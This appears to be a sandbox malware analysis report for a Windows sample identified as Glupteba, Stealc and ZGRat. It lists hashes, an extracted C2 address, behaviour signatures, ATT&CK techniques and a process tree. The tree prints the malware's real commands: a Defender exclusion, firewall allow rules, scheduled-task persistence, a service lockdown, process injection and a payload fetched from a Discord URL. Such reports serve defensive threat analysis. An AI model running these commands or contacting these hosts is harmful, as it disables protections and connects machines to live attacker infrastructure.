Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

winprofile

windows7-x64

10

winprofile

windows10-1703-x64

10

Analysis

  • max time kernel
    296s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    08/05/2024, 23:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ca70a19b730b569ccdd5a903f7cbb98a0ac40a62a77b3d817b65c0f0c9a37620.exe

  • Size

    521KB

  • MD5

    6fbe36ef1d6599968f107c7b6eb19225

  • SHA1

    8761289110102b0a661ffbe28ed7f0a730311c5e

  • SHA256

    ca70a19b730b569ccdd5a903f7cbb98a0ac40a62a77b3d817b65c0f0c9a37620

  • SHA512

    cff59fcc496248772906e1c6a1cd5bfe7ece2103b52ed05fd2426fc5e1f5afd184821ee35a8d55f8ab32ddc24781fd733987d0a05f54df89a9478ac93d344428

  • SSDEEP

    6144:39y51HwqQwU0PbQpf1oFdHr34eXHZCTUPEn0IlHgv59OxsDXqYe8RBCu97x+ucSR:3E51HwgRdLoeXMHnfHgzOi6kR5x+9aUI

Score
10/10
gluptebastealczgratdiscoverydropperevasionexecutionloaderpersistenceratrootkitstealertrojanupx

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 2 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 11 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 10 IoCs
    evasiontrojan
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 4 IoCs
    evasion
  • Drops startup file 7 IoCs
  • Executes dropped EXE 18 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Windows security modification 2 TTPs 10 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 19 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 10 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 57 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\ca70a19b730b569ccdd5a903f7cbb98a0ac40a62a77b3d817b65c0f0c9a37620.exe
    "C:\Users\Admin\AppData\Local\Temp\ca70a19b730b569ccdd5a903f7cbb98a0ac40a62a77b3d817b65c0f0c9a37620.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2272
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ca70a19b730b569ccdd5a903f7cbb98a0ac40a62a77b3d817b65c0f0c9a37620.exe" -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5068
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      2⤵
      • Drops startup file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4556
      • C:\Users\Admin\Pictures\fKZRHEfYlQuPD6l3AskVdPrk.exe
        "C:\Users\Admin\Pictures\fKZRHEfYlQuPD6l3AskVdPrk.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3932
        • C:\Users\Admin\AppData\Local\Temp\u318.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u318.0.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:508
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 508 -s 1180
            5⤵
            • Program crash
            PID:3192
        • C:\Users\Admin\AppData\Local\Temp\u318.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u318.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:5852
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4604
      • C:\Users\Admin\Pictures\7nW5qIMaV8xajTNolXyNnr62.exe
        "C:\Users\Admin\Pictures\7nW5qIMaV8xajTNolXyNnr62.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4228
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4748
        • C:\Users\Admin\Pictures\7nW5qIMaV8xajTNolXyNnr62.exe
          "C:\Users\Admin\Pictures\7nW5qIMaV8xajTNolXyNnr62.exe"
          4⤵
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:5676
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5944
          • C:\Windows\System32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1720
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              PID:5988
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious use of AdjustPrivilegeToken
            PID:5168
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:4764
      • C:\Users\Admin\Pictures\xelY93icznpSl0utJlO9CTlz.exe
        "C:\Users\Admin\Pictures\xelY93icznpSl0utJlO9CTlz.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1748
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1976
        • C:\Users\Admin\Pictures\xelY93icznpSl0utJlO9CTlz.exe
          "C:\Users\Admin\Pictures\xelY93icznpSl0utJlO9CTlz.exe"
          4⤵
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:5604
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5960
          • C:\Windows\System32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
              PID:3216
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                6⤵
                • Modifies Windows Firewall
                PID:5092
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Suspicious use of AdjustPrivilegeToken
              PID:5236
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:4148
        • C:\Users\Admin\Pictures\VaEY2hreTfB69fav3nHOe8uJ.exe
          "C:\Users\Admin\Pictures\VaEY2hreTfB69fav3nHOe8uJ.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4424
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3564
          • C:\Users\Admin\Pictures\VaEY2hreTfB69fav3nHOe8uJ.exe
            "C:\Users\Admin\Pictures\VaEY2hreTfB69fav3nHOe8uJ.exe"
            4⤵
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • Adds Run key to start application
            • Checks for VirtualBox DLLs, possible anti-VM trick
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:5632
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:6108
            • C:\Windows\System32\cmd.exe
              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
              5⤵
                PID:5220
                • C:\Windows\system32\netsh.exe
                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                  6⤵
                  • Modifies Windows Firewall
                  • Modifies data under HKEY_USERS
                  PID:5384
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                PID:4708
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                PID:5388
          • C:\Users\Admin\Pictures\BvKx9NZLLBJyqhaHtH6KEhmS.exe
            "C:\Users\Admin\Pictures\BvKx9NZLLBJyqhaHtH6KEhmS.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:524
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3200
            • C:\Users\Admin\Pictures\BvKx9NZLLBJyqhaHtH6KEhmS.exe
              "C:\Users\Admin\Pictures\BvKx9NZLLBJyqhaHtH6KEhmS.exe"
              4⤵
              • Windows security bypass
              • Executes dropped EXE
              • Windows security modification
              • Adds Run key to start application
              • Checks for VirtualBox DLLs, possible anti-VM trick
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5592
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:6116
              • C:\Windows\System32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                5⤵
                  PID:1356
                  • C:\Windows\system32\netsh.exe
                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                    6⤵
                    • Modifies Windows Firewall
                    PID:5256
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4060
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4528
                • C:\Windows\rss\csrss.exe
                  C:\Windows\rss\csrss.exe
                  5⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Manipulates WinMonFS driver.
                  • Drops file in Windows directory
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3204
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    6⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4792
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                    6⤵
                    • Creates scheduled task(s)
                    PID:5248
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /delete /tn ScheduledUpdate /f
                    6⤵
                      PID:1764
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5616
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2680
                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                      6⤵
                      • Executes dropped EXE
                      PID:1720
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                      6⤵
                      • Creates scheduled task(s)
                      PID:2904
                    • C:\Windows\windefender.exe
                      "C:\Windows\windefender.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:5056
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                        7⤵
                          PID:4088
                          • C:\Windows\SysWOW64\sc.exe
                            sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                            8⤵
                            • Launches sc.exe
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1772
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6120
                      • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
                        6⤵
                        • Executes dropped EXE
                        PID:5920
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3520
                      • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                        6⤵
                        • Executes dropped EXE
                        PID:196
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6064
                      • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                        C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                        6⤵
                        • Executes dropped EXE
                        PID:3968
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
                2⤵
                  PID:212
              • C:\Windows\windefender.exe
                C:\Windows\windefender.exe
                1⤵
                • Executes dropped EXE
                • Modifies data under HKEY_USERS
                PID:5276

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Scheduled Task/Job

              1
              T1053

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Scheduled Task/Job

              1
              T1053

              Privilege Escalation

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              1
              T1543

              Windows Service

              1
              T1543.003

              Scheduled Task/Job

              1
              T1053

              Defense Evasion

              Abuse Elevation Control Mechanism

              1
              T1548

              Bypass User Account Control

              1
              T1548.002

              Impair Defenses

              4
              T1562

              Disable or Modify System Firewall

              1
              T1562.004

              Disable or Modify Tools

              3
              T1562.001

              Modify Registry

              5
              T1112

              Credential Access

              Discovery

              Peripheral Device Discovery

              1
              T1120

              Query Registry

              4
              T1012

              System Information Discovery

              5
              T1082

              Lateral Movement

              Collection

              Command and Control

              Web Service

              1
              T1102

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                1c19c16e21c97ed42d5beabc93391fc5

                SHA1

                8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                SHA256

                1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                SHA512

                7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                Filesize

                19KB

                MD5

                358eecb6abe7d5671be391357eda3991

                SHA1

                4b553e8dfb883cbdcb80db0f7f1ba862b26c08e7

                SHA256

                cfcfab4ad5c39913e3c10f2de820e22ee17560a0d5f4bd668ea8650d338065b7

                SHA512

                602175b4414ac140bf624247298d3d85f623d5af3a1f3e4529c1711013f874171a4958b0d8793506f66bd0b031f23320fbd7ec131099a913d5afb302c7b26836

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                Filesize

                19KB

                MD5

                d30b64e41471005564cacc24685d4eb8

                SHA1

                58a5160710b57ced78891da46398b5f1937c3e50

                SHA256

                cb4d28a2f2411c5190d42ee1f5a96e407d271f7ee52f7bd8cd8fd7ff8185f7d6

                SHA512

                130073e0c5218d8e406d9cb0eaba41eb351409f762e342cfc3cb92368f2d12931420c1d52074e26c757dee544e30abb28e711e8b16af446b41825c79147d3bc5

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5bacjb4t.2cv.ps1
                Filesize

                1B

                MD5

                c4ca4238a0b923820dcc509a6f75849b

                SHA1

                356a192b7913b04c54574d18c28d46e6395428ab

                SHA256

                6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                SHA512

                4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
                Filesize

                2.0MB

                MD5

                1bf850b4d9587c1017a75a47680584c4

                SHA1

                75cd4738ffc07f203c3f3356bc946fdd0bcdbe19

                SHA256

                ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955

                SHA512

                ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
                Filesize

                2.8MB

                MD5

                713674d5e968cbe2102394be0b2bae6f

                SHA1

                90ac9bd8e61b2815feb3599494883526665cb81e

                SHA256

                f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

                SHA512

                e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
                Filesize

                2.0MB

                MD5

                dcb505dc2b9d8aac05f4ca0727f5eadb

                SHA1

                4f633edb62de05f3d7c241c8bc19c1e0be7ced75

                SHA256

                61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

                SHA512

                31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                Filesize

                281KB

                MD5

                d98e33b66343e7c96158444127a117f6

                SHA1

                bb716c5509a2bf345c6c1152f6e3e1452d39d50d

                SHA256

                5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

                SHA512

                705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
                Filesize

                2KB

                MD5

                155858895668173c15814be48c072a5c

                SHA1

                5f6ac85348f9f76fad4a08bbc56b21e387b7ab33

                SHA256

                0432514be4fde5c81dc5fbbaca5a35a298bb02b0af034d4c3b65cff3309bf290

                SHA512

                17605e4e7d7be227cb3508f4a082cd775f81739adfd5512d12ecca448bd3f5ae489d06e55843aa38437415ced66f02a50a2e4a9fb1f941d1016db3ec63604582

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
                Filesize

                3KB

                MD5

                1267857f0994b1877c41bc66a6cfe1b3

                SHA1

                5386994c7b30162fa690ffc60df38ef8f31fac59

                SHA256

                6395030553d2217ec6a5c03656fe8277a76880c48398fd4aaa190747f8ef793c

                SHA512

                f4cafa6bbc1121727e98c6867575f2a0e65143176b1f1c0013e2171b809717d869ac43b1eac73e1b082a9f0e6453f964a4fcd499b54e253dfb0fbd273faff984

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\u318.0.exe
                Filesize

                223KB

                MD5

                ac3b1a30e96b6d89ce98a21bb5b2093a

                SHA1

                4270104678195b8cad3520a704c556155a0a65b5

                SHA256

                803946c2712aec2b60b54b3cd7c3375a9a0158e7ccbfbd4ab8a66e6ddfc7d463

                SHA512

                65e74527ffa9d6e776d063db44322080315a5a9eb13bb67acd61be6e65862ec127366d742beca349c7ca8281e2f67193bafc14c8c0ee3f222b19b452d05c8491

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\u318.1.exe
                Filesize

                3.6MB

                MD5

                bdd4b83b24911fa921092e096d399ac9

                SHA1

                1a9d97edbce74e14676b7362a1f35ee87e934448

                SHA256

                86e8ec464f8b3a2877085e8f0e05d75f451f099cbd8d9973bad7a3e113145b4a

                SHA512

                ba1382c9cae8242f78ebc6c61a636c167e8efbd5500cd0848c1deb26708d17e033ebc19835677ceb68d96a1c7b5b49b091b047db070dfa31809bdcf3ea791f1d

                Download Submit

              • C:\Users\Admin\Pictures\7nW5qIMaV8xajTNolXyNnr62.exe
                Filesize

                2.1MB

                MD5

                d67e7a7d5f9bba90b21f1066d3a87392

                SHA1

                bf37b605f2decd76265f06a3fb5d0af9c10c0e47

                SHA256

                34387487f67c14b0d7b1b729945b9ad09fb7c12d4ec71645badb6a21cece1381

                SHA512

                b8f33d7bd92add0cb3280fc2cfbb2c44ba36f2957a6a7b825dbf7fbc924cdd25bf4301c51e97065adadbe86019884bbfbfa1cf5c08c3773a27d3304d83ce509e

